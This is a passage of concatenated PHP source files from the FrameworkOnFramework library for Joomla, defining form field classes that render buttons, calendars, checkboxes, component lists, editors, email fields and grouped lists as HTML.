*/
public function getRepeatable()
{
if (!($this->item instanceof FOFTable))
{
throw new Exception(__CLASS__ . ' needs a FOFTable to act
upon');
}
$config = $this->getConfig();
// Initialise
$prefix = '';
$checkbox = 'cb';
$publish_up = null;
$publish_down = null;
$enabled = true;
$html = '<div class="btn-group">';
// Render a published field
if ($publishedFieldName =
$this->item->getColumnAlias('enabled'))
{
if ($config['published'] || $config['unpublished'])
{
// Generate a FOFFormFieldPublished field
$publishedField = $this->getPublishedField($publishedFieldName);
// Render the publish button
$html .= $publishedField->getRepeatable();
}
if ($config['archived'])
{
$archived = $this->item->{$publishedFieldName} == 2 ? true :
false;
// Create dropdown items
$action = $archived ? 'unarchive' : 'archive';
JHtml::_('actionsdropdown.' . $action, 'cb' .
$this->rowid, $prefix);
}
if ($config['trash'])
{
$trashed = $this->item->{$publishedFieldName} == -2 ? true :
false;
$action = $trashed ? 'untrash' : 'trash';
JHtml::_('actionsdropdown.' . $action, 'cb' .
$this->rowid, $prefix);
}
// Render dropdown list
if ($config['archived'] || $config['trash'])
{
$html .= JHtml::_('actionsdropdown.render',
$this->item->title);
}
}
$html .= '</div>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the FOF framework
* Supports a button input.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldButton extends FOFFormFieldText implements FOFFormField
{
protected $static;
protected $repeatable;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getInput()
{
$this->label = '';
$allowedElement = array('button', 'a');
if (in_array($this->element['htmlelement'],
$allowedElement))
$type = $this->element['htmlelement'];
else
$type = 'button';
$text = $this->element['text'];
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$icon = $this->element['icon'] ? (string)
$this->element['icon'] : '';
$onclick = $this->element['onclick'] ?
'onclick="' . (string)
$this->element['onclick'] . '"' : '';
$url = $this->element['url'] ? 'href="' .
$this->parseFieldTags((string) $this->element['url']) .
'"' : '';
$title = $this->element['title'] ?
'title="' . JText::_((string)
$this->element['title']) . '"' : '';
$this->value = JText::_($text);
if ($icon)
{
$icon = '<span class="icon ' . $icon .
'"></span>';
}
return '<' . $type . ' id="' . $this->id .
'" class="btn ' . $class . '" ' .
$onclick . $url . $title . '>' .
$icon .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'</' . $type . '>';
}
/**
* Method to get the field title.
*
* @return string The field title.
*/
protected function getTitle()
{
return null;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('cachehandler');
/**
* Form Field class for FOF
* Joomla! cache handlers
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldCachehandler extends JFormFieldCacheHandler implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('calendar');
/**
* Form Field class for the FOF framework
* Supports a calendar / date field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldCalendar extends JFormFieldCalendar implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
// ATTENTION: Redirected getInput() to getStatic()
case 'input':
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getCalendar('static');
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getCalendar('repeatable');
}
/**
* Method to get the calendar input markup.
*
* @param string $display The display to render ('static' or
'repeatable')
*
* @return string The field input markup.
*
* @since 2.1.rc4
*/
protected function getCalendar($display)
{
// Initialize some field attributes.
$format = $this->element['format'] ? (string)
$this->element['format'] : '%Y-%m-%d';
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$default = $this->element['default'] ? (string)
$this->element['default'] : '';
// PHP date doesn't use percentages (%) for the format, but the
calendar Javascript
// DOES use it (@see: calendar-uncompressed.js). Therefore we have to
convert it.
$formatJS = $format;
$formatPHP = str_replace(array('%', 'H:M:S',
'B'), array('', 'H:i:s', 'F'),
$formatJS);
// Check for empty date values
if (empty($this->value) || $this->value ==
FOFPlatform::getInstance()->getDbo()->getNullDate() ||
$this->value == '0000-00-00')
{
$this->value = $default;
}
// Get some system objects.
$config = FOFPlatform::getInstance()->getConfig();
$user = JFactory::getUser();
// Format date if exists
if (!empty($this->value))
{
$date = FOFPlatform::getInstance()->getDate($this->value,
'UTC');
// If a known filter is given use it.
switch (strtoupper((string) $this->element['filter']))
{
case 'SERVER_UTC':
// Convert a date to UTC based on the server timezone.
if ((int) $this->value)
{
// Get a date object based on the correct timezone.
$date->setTimezone(new
DateTimeZone($config->get('offset')));
}
break;
case 'USER_UTC':
// Convert a date to UTC based on the user timezone.
if ((int) $this->value)
{
// Get a date object based on the correct timezone.
$date->setTimezone($user->getTimezone());
}
break;
default:
break;
}
// Transform the date string.
$this->value = $date->format($formatPHP, true, false);
}
if ($display == 'static')
{
// Build the attributes array.
$attributes = array();
if ($this->element['size'])
{
$attributes['size'] = (int)
$this->element['size'];
}
if ($this->element['maxlength'])
{
$attributes['maxlength'] = (int)
$this->element['maxlength'];
}
if ($this->element['class'])
{
$attributes['class'] = (string)
$this->element['class'];
}
if ((string) $this->element['readonly'] ==
'true')
{
$attributes['readonly'] = 'readonly';
}
if ((string) $this->element['disabled'] ==
'true')
{
$attributes['disabled'] = 'disabled';
}
if ($this->element['onchange'])
{
$attributes['onchange'] = (string)
$this->element['onchange'];
}
if ($this->required)
{
$attributes['required'] = 'required';
$attributes['aria-required'] = 'true';
}
return JHtml::_('calendar', $this->value, $this->name,
$this->id, $formatJS, $attributes);
}
else
{
return '<span class="' . $this->id . ' '
. $class . '">' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('captcha');
/**
* Form Field class for the FOF framework
* Supports a captcha field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldCaptcha extends JFormFieldCaptcha implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getInput();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('checkbox');
/**
* Form Field class for the FOF framework
* A single checkbox
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldCheckbox extends JFormFieldCheckbox implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
$value = $this->element['value'] ? (string)
$this->element['value'] : '1';
$disabled = ((string) $this->element['disabled'] ==
'true') ? ' disabled="disabled"' :
'';
$onclick = $this->element['onclick'] ? '
onclick="' . (string) $this->element['onclick'] .
'"' : '';
$required = $this->required ? ' required="required"
aria-required="true"' : '';
if (empty($this->value))
{
$checked = (isset($this->element['checked'])) ? '
checked="checked"' : '';
}
else
{
$checked = ' checked="checked"';
}
return '<span id="' . $this->id . '"
' . $class . '>' .
'<input type="checkbox" name="' .
$this->name . '" id="' . $this->id .
'"' . ' value="'
. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') .
'"' . $class . $checked . $disabled . $onclick . $required .
' />' .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$value = $this->element['value'] ? (string)
$this->element['value'] : '1';
$disabled = ((string) $this->element['disabled'] ==
'true') ? ' disabled="disabled"' :
'';
$onclick = $this->element['onclick'] ? '
onclick="' . (string) $this->element['onclick'] .
'"' : '';
$required = $this->required ? ' required="required"
aria-required="true"' : '';
if (empty($this->value))
{
$checked = (isset($this->element['checked'])) ? '
checked="checked"' : '';
}
else
{
$checked = ' checked="checked"';
}
return '<span class="' . $this->id . ' ' .
$class . '">' .
'<input type="checkbox" name="' .
$this->name . '" class="' . $this->id . '
' . $class . '"' . ' value="'
. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') .
'"' . $checked . $disabled . $onclick . $required . '
/>' .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('checkboxes');
/**
* Form Field class for FOF
* Supports a list of checkbox.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldCheckboxes extends JFormFieldCheckboxes implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getRepeatable();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : $this->id;
$translate = $this->element['translate'] ? (string)
$this->element['translate'] : false;
$html = '<span class="' . $class .
'">';
foreach ($this->value as $value) {
$html .= '<span>';
if ($translate == true)
{
$html .= JText::_($value);
}
else
{
$html .= $value;
}
$html .= '</span>';
}
$html .= '</span>';
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getInput()
{
// Used for J! 2.5 compatibility
$this->value = !is_array($this->value) ? explode(',',
$this->value) : $this->value;
return parent::getInput();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for FOF
* Components installed on the site
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFFormFieldComponents extends JFormFieldList implements FOFFormField
{
protected $static;
protected $repeatable;
public $client_ids = null;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.1
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.1
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.1
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get a list of all installed components and also translates them.
*
* The manifest_cache is used to get the extension names, since JInstaller
is also
* translating those names in stead of the name column. Else some of the
translations
* fails.
*
* @since 2.1
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
$db = FOFPlatform::getInstance()->getDbo();
// Check for client_ids override
if ($this->client_ids !== null)
{
$client_ids = $this->client_ids;
}
else
{
$client_ids = $this->element['client_ids'];
}
$client_ids = explode(',', $client_ids);
// Calculate client_ids where clause
foreach ($client_ids as &$client_id)
{
$client_id = (int) trim($client_id);
$client_id = $db->q($client_id);
}
$query = $db->getQuery(true)
->select(
array(
$db->qn('name'),
$db->qn('element'),
$db->qn('client_id'),
$db->qn('manifest_cache'),
)
)
->from($db->qn('#__extensions'))
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('client_id') . ' IN (' .
implode(',', $client_ids) . ')');
$db->setQuery($query);
$components = $db->loadObjectList('element');
// Convert to array of objects, so we can use sortObjects()
// Also translate component names with JText::_()
$aComponents = array();
$user = JFactory::getUser();
foreach ($components as $component)
{
// Don't show components in the list where the user doesn't
have access for
// TODO: perhaps add an option for this
if (!$user->authorise('core.manage',
$component->element))
{
continue;
}
$oData = (object) array(
'value' => $component->element,
'text' => $this->translate($component,
'component')
);
$aComponents[$component->element] = $oData;
}
// Reorder the components array, because the alphabetical
// ordering changed due to the JText::_() translation
uasort(
$aComponents,
function ($a, $b) {
return strcasecmp($a->text, $b->text);
}
);
return $aComponents;
}
/**
* Translate a list of objects with JText::_().
*
* @param array $item The array of objects
* @param string $type The extension type (e.g. component)
*
* @since 2.1
*
* @return string $text The translated name of the extension
*
* @see administrator/com_installer/models/extension.php
*/
public function translate($item, $type)
{
$platform = FOFPlatform::getInstance();
// Map the manifest cache to $item. This is needed to get the name from
the
// manifest_cache and NOT from the name column, else some JText::_()
translations fails.
$mData = json_decode($item->manifest_cache);
if ($mData)
{
foreach ($mData as $key => $value)
{
if ($key == 'type')
{
// Ignore the type field
continue;
}
$item->$key = $value;
}
}
$lang = $platform->getLanguage();
switch ($type)
{
case 'component':
$source = JPATH_ADMINISTRATOR . '/components/' .
$item->element;
$lang->load("$item->element.sys", JPATH_ADMINISTRATOR,
null, false, false)
|| $lang->load("$item->element.sys", $source, null,
false, false)
|| $lang->load("$item->element.sys",
JPATH_ADMINISTRATOR, $lang->getDefault(), false, false)
|| $lang->load("$item->element.sys", $source,
$lang->getDefault(), false, false);
break;
}
$text = JText::_($item->name);
return $text;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('editor');
/**
* Form Field class for the FOF framework
* An editarea field for content creation and formatted HTML display
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldEditor extends JFormFieldEditor implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<div id="' . $this->id . '" '
. $class . '>' . $this->value . '</div>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<div class="' . $this->id . ' ' .
$class . '">' . $this->value .
'</div>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('email');
/**
* Form Field class for the FOF framework
* Supports a one line text field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldEmail extends JFormFieldEMail implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
$dolink = $this->element['show_link'] == 'true';
$empty_replacement = '';
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
$innerHtml = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
if ($dolink)
{
$innerHtml = '<a href="mailto:' . $innerHtml .
'">' .
$innerHtml . '</a>';
}
return '<span id="' . $this->id . '"
' . $class . '>' .
$innerHtml .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
// Initialise
$class = '';
$show_link = false;
$link_url = '';
$empty_replacement = '';
// Get field parameters
if ($this->element['class'])
{
$class = (string) $this->element['class'];
}
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['url'])
{
$link_url = $this->element['url'];
}
else
{
$link_url = 'mailto:' . htmlspecialchars($this->value,
ENT_COMPAT, 'UTF-8');
}
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
// Get the (optionally formatted) value
if (!empty($empty_replacement) && empty($this->value))
{
$this->value = JText::_($empty_replacement);
}
$value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
// Create the HTML
$html = '<span class="' . $this->id . ' '
. $class . '">';
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
$html .= $value;
if ($show_link)
{
$html .= '</a>';
}
$html .= '</span>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for FOF
* Supports a generic list of options.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldGroupedbutton extends JFormFieldText implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getInput()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$html = '<div id="' . $this->id . '"
class="btn-group ' . $class . '">';
foreach ($this->element->children() as $option)
{
$renderedAttributes = array();
foreach ($option->attributes() as $name => $value)
{
if (!is_null($value))
{
$renderedAttributes[] = $name . '="' .
htmlentities($value) . '"';
}
}
$buttonXML = new SimpleXMLElement('<field ' .
implode(' ', $renderedAttributes) . ' />');
$buttonField = new FOFFormFieldButton($this->form);
// Pass required objects to the field
$buttonField->item = $this->item;
$buttonField->rowid = $this->rowid;
$buttonField->setup($buttonXML, null);
$html .= $buttonField->getRepeatable();
}
$html .= '</div>';
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('groupedlist');
/**
* Form Field class for FOF
* Supports a generic list of options.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldGroupedlist extends JFormFieldGroupedList implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$selected = self::getOptionName($this->getGroups(), $this->value);
if (is_null($selected))
{
$selected = array(
'group' => '',
'item' => ''
);
}
return '<span id="' . $this->id . '-group"
class="fof-groupedlist-group ' . $class . '>' .
htmlspecialchars($selected['group'], ENT_COMPAT,
'UTF-8') .
'</span>' .
'<span id="' . $this->id . '-item"
class="fof-groupedlist-item ' . $class . '>' .
htmlspecialchars($selected['item'], ENT_COMPAT,
'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
$selected = self::getOptionName($this->getGroups(), $this->value);
if (is_null($selected))
{
$selected = array(
'group' => '',
'item' => ''
);
}
return '<span class="' . $this->id . '-group
fof-groupedlist-group ' . $class . '">' .
htmlspecialchars($selected['group'], ENT_COMPAT,
'UTF-8') .
'</span>' .
'<span class="' . $this->id . '-item
fof-groupedlist-item ' . $class . '">' .
